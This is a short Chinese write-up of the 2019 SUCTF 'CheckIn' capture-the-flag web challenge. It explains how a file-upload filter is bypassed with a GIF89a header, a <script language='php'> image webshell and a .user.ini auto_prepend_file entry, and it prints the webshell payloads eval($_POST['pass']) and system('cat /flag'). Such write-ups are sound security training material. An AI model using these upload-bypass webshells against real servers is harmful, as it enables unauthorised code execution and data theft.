2019SUCTF—CheckIn
题目源码:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn
复现链接:https://buuoj.cn/challenges
界面
上传一句话.php文件,结果如下
更改后缀和文件类型为图片格式,结果如下,过滤了<?
用<script language='php'><scirpt>
类型的图片马绕过,结果如下
应该调用了后端的exif_imagetype()
函数,于是添加文件头绕过GIF89a
,上传成功
到这一步应该想到上传一个.htaccess
文件来将图片马解析为php,尝试无果,于是用到了下面的.user.ini文件
参考
解题步骤
上传.uesr.ini文件
内容如下:
GIF89a
auto_prepend_file=a.jpg
ini文件设置中有两个参数:
auto_prepend_file
和auto_append_file
表示我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:
require(./a.jpg);
两个设置的区别在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有
exit()
时该设置无效)
利用前提需要文件目录下有一个可执行的.php文件,而题目刚好有一个
上传a.jpg图片马
GIF89a
<script language="php">eval($_POST['pass']);</script>
访问index.php,用工具连接后台,在网站根目录下得到flag
也可以将图片马代码改成如下方式
GIF89a
<script language='php'>system('cat /flag');</script>
直接访问index.php即可得到flag
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues